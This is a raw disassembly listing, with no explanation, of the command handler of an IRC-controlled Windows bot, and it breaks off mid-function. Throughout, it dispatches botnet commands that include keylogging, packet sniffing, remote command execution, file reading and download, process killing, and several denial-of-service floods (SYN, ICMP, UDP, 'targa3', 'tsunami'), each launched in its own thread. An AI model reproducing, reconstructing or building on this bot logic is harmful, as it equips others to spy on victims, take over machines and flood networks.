push [ebp+esi+var_88]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
call sub_41C2C2
cdq
mov ecx, 514h
idiv ecx
push edx
call ds:dword_427080 ; Sleep
push offset dword_427624
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_405709: ; CODE XREF: sub_401ACD+3B1Bj
; sub_401ACD+3B28j
push edi
push offset aRegister ; "register"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40574D
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_40574D
push eax
lea eax, [ebp+var_2C4]
push [ebp+esi+var_88]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_417B2F
add esp, 14h
loc_40574D: ; CODE XREF: sub_401ACD+3C4Bj
; sub_401ACD+3C56j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40619B
mov [ebp+arg_18], offset dword_4D4A5C
loc_405769: ; CODE XREF: sub_401ACD+3CC0j
mov eax, [ebp+arg_18]
cmp dword ptr [eax-4], 1
jnz short loc_40577F
mov eax, [eax]
cmp eax, ebx
jbe short loc_40577F
push eax
call dword_4CBA6C ; closesocket
loc_40577F: ; CODE XREF: sub_401ACD+3CA3j
; sub_401ACD+3CA9j
add [ebp+arg_18], 210h
cmp [ebp+arg_18], offset dword_4DB17C
jl short loc_405769
cmp [ebp+var_8], ebx
jnz loc_40619B
push ebx
push [ebp+var_4]
push offset unk_42B784
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
jmp loc_40619B
; ---------------------------------------------------------------------------
loc_4057B7: ; CODE XREF: sub_401ACD+3151j
push [ebp+arg_8]
push offset aNick_0 ; "nick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409554
push [ebp+arg_8]
push offset aN ; "n"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409554
push [ebp+arg_8]
push offset aJoin ; "join"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409531
push [ebp+arg_8]
push offset aJ ; "j"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409531
push [ebp+arg_8]
push offset aPart_0 ; "part"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409515
push [ebp+arg_8]
push offset aPt ; "pt"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409515
push [ebp+arg_8]
push offset aRaw ; "raw"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4094DB
push [ebp+arg_8]
push offset aR ; "r"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4094DB
push [ebp+arg_8]
push offset aKillthread ; "killthread"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409418
push [ebp+arg_8]
push offset aK ; "k"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409418
push [ebp+arg_8]
push offset aC_quit ; "c_quit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40936D
push [ebp+arg_8]
push offset aC_q ; "c_q"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40936D
push [ebp+arg_8]
push offset aC_rndnick ; "c_rndnick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40931F
push [ebp+arg_8]
push offset aC_rn ; "c_rn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40931F
push [ebp+arg_8]
push offset aPrefix ; "prefix"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40930A
push [ebp+arg_8]
push offset aPr ; "pr"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40930A
push [ebp+arg_8]
push offset aOpen ; "open"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092E0
push [ebp+arg_8]
push offset aO ; "o"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092E0
push [ebp+arg_8]
push offset aServer_1 ; "server"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092C7
push [ebp+arg_8]
push offset aSe ; "se"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092C7
push [ebp+arg_8]
push offset aDns ; "dns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40925F
push [ebp+arg_8]
push offset aDn ; "dn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40925F
push [ebp+arg_8]
push offset aKillproc ; "killproc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409233
push [ebp+arg_8]
push offset aKp ; "kp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409233
push [ebp+arg_8]
push offset aKill ; "kill"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091D8
push [ebp+arg_8]
push offset aKi ; "ki"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091D8
push [ebp+arg_8]
push offset aDelete ; "delete"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091A0
push [ebp+arg_8]
push offset aDel ; "del"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091A0
push [ebp+arg_8]
push offset aGet_1 ; "get"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090C3
push [ebp+arg_8]
push offset aGt ; "gt"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090C3
push [ebp+arg_8]
push offset aList ; "list"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push [ebp+arg_8]
push offset aLi ; "li"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push [ebp+arg_8]
push offset aVisit ; "visit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408FB5
push [ebp+arg_8]
push offset aV ; "v"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408FB5
push [ebp+arg_8]
push offset aMirccmd ; "mirccmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F6F
push [ebp+arg_8]
push offset aMirc ; "mirc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F6F
push [ebp+arg_8]
push offset aCmd ; "cmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F18
push [ebp+arg_8]
push offset aCm ; "cm"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F18
push [ebp+arg_8]
push offset aReadfile ; "readfile"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408EA1
push [ebp+arg_8]
push offset aRf ; "rf"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408EA1
push [ebp+arg_8]
push offset aPsniff ; "psniff"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405C9F
push edi
push offset aOn ; "on"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405C67
push 20h
call sub_40B602
test eax, eax
pop ecx
jle short loc_405B91
push offset dword_42B68C
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405B91: ; CODE XREF: sub_401ACD+40B8j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_F5C], eax
mov eax, [ebp+var_4]
mov [ebp+var_ED4], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_ED0], eax
jnz short loc_405BD3
mov esi, offset aF_1 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405BD3
mov esi, [ebp+var_88]
loc_405BD3: ; CODE XREF: sub_401ACD+40E8j
; sub_401ACD+40FEj
push esi
lea eax, [ebp+var_F58]
push 80h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset dword_42B65C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 20h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_ED8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_F5C]
push ebx
push eax
push offset sub_412B61
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_ED8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_405C56
loc_405C40: ; CODE XREF: sub_401ACD+4187j
cmp [ebp+var_ECC], ebx
jnz loc_4081AD
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_405C40
; ---------------------------------------------------------------------------
loc_405C56: ; CODE XREF: sub_401ACD+4171j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42B620
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405C67: ; CODE XREF: sub_401ACD+40A8j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 20h
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405C95
push eax
push offset dword_42B5E4
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405C95: ; CODE XREF: sub_401ACD+41BBj
push offset dword_42B5B8
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405C9F: ; CODE XREF: sub_401ACD+4093j
push [ebp+arg_8]
push offset aSniffer ; "sniffer"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405DEF
push edi
push offset aOn ; "on"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405DB7
push 21h
call sub_40B602
test eax, eax
pop ecx
jle short loc_405CE1
push offset unk_42B590
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405CE1: ; CODE XREF: sub_401ACD+4208j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_EC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_E40], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_E3C], eax
jnz short loc_405D23
mov esi, offset aF_1 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405D23
mov esi, [ebp+var_88]
loc_405D23: ; CODE XREF: sub_401ACD+4238j
; sub_401ACD+424Ej
push esi
lea eax, [ebp+var_EC4]
push 80h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset unk_42B564
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 21h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_E44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC8]
push ebx
push eax
push offset sub_4131EC
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_E44]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_405DA6
loc_405D90: ; CODE XREF: sub_401ACD+42D7j
cmp [ebp+var_E38], ebx
jnz loc_4081AD
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_405D90
; ---------------------------------------------------------------------------
loc_405DA6: ; CODE XREF: sub_401ACD+42C1j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42B528
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405DB7: ; CODE XREF: sub_401ACD+41F8j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 21h
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405DE5
push eax
push offset unk_42B4EC
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405DE5: ; CODE XREF: sub_401ACD+430Bj
push offset unk_42B4C0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405DEF: ; CODE XREF: sub_401ACD+41E3j
push [ebp+arg_8]
push offset aIdent ; "ident"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405EC2
push edi
push offset aOn ; "on"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405E8A
push 2
call sub_40B602
test eax, eax
pop ecx
jle short loc_405E2D
push offset dword_42B498
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405E2D: ; CODE XREF: sub_401ACD+4354j
lea eax, [ebp+var_2C4]
push offset dword_42B46C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 2
push eax
call sub_40B3BA
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset sub_410BFD
push ebx
push ebx
call ds:dword_427084 ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_43E924[esi], eax
jnz loc_4081AD
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42B438
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405E8A: ; CODE XREF: sub_401ACD+4348j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 2
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405EB8
push eax
push offset dword_42B400
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405EB8: ; CODE XREF: sub_401ACD+43DEj
push offset dword_42B3E0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405EC2: ; CODE XREF: sub_401ACD+4333j
push [ebp+arg_8]
push offset aKeyloger ; "keyloger"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408D24
push [ebp+arg_8]
push offset aKeylog ; "keylog"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408D24
push [ebp+arg_8]
push offset aStop ; "stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408CFB
push [ebp+arg_8]
push offset aStop ; "stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408CFB
push [ebp+arg_8]
push offset aNet ; "net"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40616D
cmp dword_4CBAA4, ebx
jz short loc_405F4F
cmp dword_4CBACC, ebx
jz short loc_405F4F
push offset unk_42B388
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405F4F: ; CODE XREF: sub_401ACD+446Ej
; sub_401ACD+4476j
cmp [ebp+var_C], ebx
jz loc_406BFE
mov eax, [ebp+esi+var_88]
mov [ebp+arg_0], ebx
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_405F77
push eax
push [ebp+var_C]
call sub_41C2E0
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_405F77: ; CODE XREF: sub_401ACD+449Aj
push edi
push offset aStart ; "start"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405FC3
cmp [ebp+arg_18], ebx
jz short loc_405F97
push [ebp+arg_0]
push 3
jmp loc_406021
; ---------------------------------------------------------------------------
loc_405F97: ; CODE XREF: sub_401ACD+44BEj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418EA8
add esp, 0Ch
test eax, eax
jz short loc_405FB9
push offset unk_42B35C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405FB9: ; CODE XREF: sub_401ACD+44E0j
push offset unk_42B33C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405FC3: ; CODE XREF: sub_401ACD+44B9j
push edi
push offset aStop ; "stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405FDB
push [ebp+arg_0]
push 4
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_405FDB: ; CODE XREF: sub_401ACD+4505j
push edi
push offset aPause ; "pause"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405FF3
push [ebp+arg_0]
push 5
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_405FF3: ; CODE XREF: sub_401ACD+451Dj
push edi
push offset aContinue ; "continue"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40600B
push [ebp+arg_0]
push 6
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_40600B: ; CODE XREF: sub_401ACD+4535j
push edi
push offset aDelete ; "delete"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406033
push [ebp+arg_0]
push 1
loc_406021: ; CODE XREF: sub_401ACD+44C5j
; sub_401ACD+450Cj ...
call sub_418C0E
pop ecx
pop ecx
loc_406028: ; CODE XREF: sub_401ACD+459Fj
; sub_401ACD+4628j ...
push eax
push offset aS_8 ; "%s"
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_406033: ; CODE XREF: sub_401ACD+454Dj
push edi
push offset aShare ; "share"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40609B
cmp [ebp+arg_18], ebx
jz short loc_40606E
cmp [ebp+var_8FC], bl
jz short loc_406059
push ebx
push [ebp+arg_18]
push 1
jmp short loc_406064
; ---------------------------------------------------------------------------
loc_406059: ; CODE XREF: sub_401ACD+4582j
push [ebp+esi+var_84]
push [ebp+arg_18]
push ebx
loc_406064: ; CODE XREF: sub_401ACD+458Aj
call sub_418FE5
add esp, 0Ch
jmp short loc_406028
; ---------------------------------------------------------------------------
loc_40606E: ; CODE XREF: sub_401ACD+457Aj
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4191DB
add esp, 10h
test eax, eax
jz short loc_406091
push offset unk_42B2FC
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406091: ; CODE XREF: sub_401ACD+45B8j
push offset unk_42B2DC
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40609B: ; CODE XREF: sub_401ACD+4575j
push edi
push offset aUser_0 ; "user"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406127
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_4060FA
cmp [ebp+var_8FC], bl
jz short loc_4060CD
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push ebx
push eax
push 1
jmp short loc_4060ED
; ---------------------------------------------------------------------------
loc_4060CD: ; CODE XREF: sub_401ACD+45ECj
push [ebp+var_4]
mov esi, [ebp+esi+var_84]
cmp esi, ebx
push [ebp+var_88]
push [ebp+arg_4]
jz short loc_4060E9
push esi
push eax
push ebx
jmp short loc_4060ED
; ---------------------------------------------------------------------------
loc_4060E9: ; CODE XREF: sub_401ACD+4615j
push ebx
push eax
push 2
loc_4060ED: ; CODE XREF: sub_401ACD+45FEj
; sub_401ACD+461Aj
call sub_4192FC
add esp, 18h
jmp loc_406028
; ---------------------------------------------------------------------------
loc_4060FA: ; CODE XREF: sub_401ACD+45E4j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41982C
add esp, 10h
test eax, eax
jz short loc_40611D
push offset unk_42B2BC
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40611D: ; CODE XREF: sub_401ACD+4644j
push offset unk_42B29C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406127: ; CODE XREF: sub_401ACD+45DDj
push edi
push offset aSend_0 ; "send"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406163
cmp [ebp+arg_18], ebx
jz short loc_406159
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419AE0
add esp, 10h
jmp loc_406028
; ---------------------------------------------------------------------------
loc_406159: ; CODE XREF: sub_401ACD+466Ej
push offset unk_42B270
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406163: ; CODE XREF: sub_401ACD+4669j
push offset unk_42B254
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40616D: ; CODE XREF: sub_401ACD+4462j
push [ebp+arg_8]
push offset aGethost ; "gethost"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408C0D
push [ebp+arg_8]
push offset aGh ; "gh"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408C0D
loc_40619B: ; CODE XREF: sub_401ACD+3C8Fj
; sub_401ACD+3CC5j ...
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_401F75
push [ebp+arg_8]
push offset aKilllog ; "killlog"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BF0
push [ebp+arg_8]
push offset aKl ; "kl"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BF0
push [ebp+arg_8]
push offset aAddalias ; "addalias"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BBE
push [ebp+arg_8]
push offset aAa ; "aa"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BBE
push [ebp+arg_8]
push offset aPrivmsg_0 ; "privmsg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B6D
push [ebp+arg_8]
push offset aPm ; "pm"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B6D
push [ebp+arg_8]
push offset aAction ; "action"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B04
push [ebp+arg_8]
push offset aA ; "a"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B04
push [ebp+arg_8]
push offset aCycle ; "cycle"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A9E
push [ebp+arg_8]
push offset aCy ; "cy"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A9E
push [ebp+arg_8]
push offset aMode ; "mode"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A64
push [ebp+arg_8]
push offset aM_0 ; "m"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A64
push [ebp+arg_8]
push offset aC_raw ; "c_raw"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4089F6
push [ebp+arg_8]
push offset aC_r ; "c_r"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4089F6
push [ebp+arg_8]
push offset aC_mode ; "c_mode"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408971
push [ebp+arg_8]
push offset aC_m ; "c_m"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408971
push [ebp+arg_8]
push offset aC_nick ; "c_nick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408900
push [ebp+arg_8]
push offset aC_n ; "c_n"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408900
push [ebp+arg_8]
push offset aC_join ; "c_join"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4088DA
push [ebp+arg_8]
push offset aC_j ; "c_j"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4088DA
push [ebp+arg_8]
push offset aC_part ; "c_part"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40887A
push [ebp+arg_8]
push offset aC_p ; "c_p"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40887A
push [ebp+arg_8]
push offset aTarga3 ; "targa3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40877F
push [ebp+arg_8]
push offset aT3 ; "t3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40877F
push [ebp+arg_8]
push offset aTsunami ; "tsunami"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4086AA
push [ebp+arg_8]
push offset aTsn ; "tsn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4086AA
push [ebp+arg_8]
push offset aRepeat ; "repeat"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4085A5
push [ebp+arg_8]
push offset aRp ; "rp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4085A5
push [ebp+arg_8]
push offset aDelay ; "delay"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408508
push [ebp+arg_8]
push offset aDe ; "de"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408508
push [ebp+arg_8]
push offset aHadeth3 ; "HADETH3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408379
push [ebp+arg_8]
push offset aHadeth3 ; "HADETH3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408379
push [ebp+arg_8]
push offset aExecute ; "execute"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4082E6
push [ebp+arg_8]
push offset aE ; "e"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4082E6
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4081D7
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4081D7
push [ebp+arg_8]
push offset aRename ; "rename"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408160
push [ebp+arg_8]
push offset aMv ; "mv"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408160
push [ebp+arg_8]
push offset aIcmpflood ; "icmpflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408063
push [ebp+arg_8]
push offset aIcmp ; "icmp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408063
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_401F75
push [ebp+arg_8]
push offset aClone_0 ; "clone"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407F7B
push [ebp+arg_8]
push offset aC ; "c"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407F7B
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8]
push offset aWisdom_udp ; "wisdom.udp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4066AE
push 7Fh
lea eax, [ebp+var_3280]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3200]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3180]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3100]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3078], eax
push ebx
lea eax, [ebp+var_2C4]
push 13h
push eax
mov [ebp+var_307C], edi
mov [ebp+var_3284], esi
call sub_40B3BA
add esp, 3Ch
mov [ebp+var_3080], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3284]
push ebx
push eax
push offset sub_41525A
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_3080]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40669D
loc_406687: ; CODE XREF: sub_401ACD+4BCEj
cmp [ebp+var_3074], ebx
jnz loc_403D46
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_406687
; ---------------------------------------------------------------------------
loc_40669D: ; CODE XREF: sub_401ACD+4BB8j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42B0E0
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_4066AE: ; CODE XREF: sub_401ACD+4B0Ej
push [ebp+arg_8]
push offset aSynflood ; "synflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407D9A
push [ebp+arg_8]
push offset aSyn ; "syn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407D9A
push [ebp+arg_8]
push offset aSkysyn ; "skysyn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4067DB
push 7Fh
lea eax, [ebp+var_36A8]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3628]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_35A8]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3528]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_34A4], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_34A0], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_36AC], esi
push edi
push offset dword_42B098
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 10h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_34A8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36AC]
push ebx
push eax
push offset sub_4141B2
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_34A8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_4067CA
loc_4067B4: ; CODE XREF: sub_401ACD+4CFBj
cmp [ebp+var_349C], ebx
jnz loc_407196
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_4067B4
; ---------------------------------------------------------------------------
loc_4067CA: ; CODE XREF: sub_401ACD+4CE5j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42B05C
jmp loc_407187
; ---------------------------------------------------------------------------
loc_4067DB: ; CODE XREF: sub_401ACD+4C20j
push [ebp+arg_8]
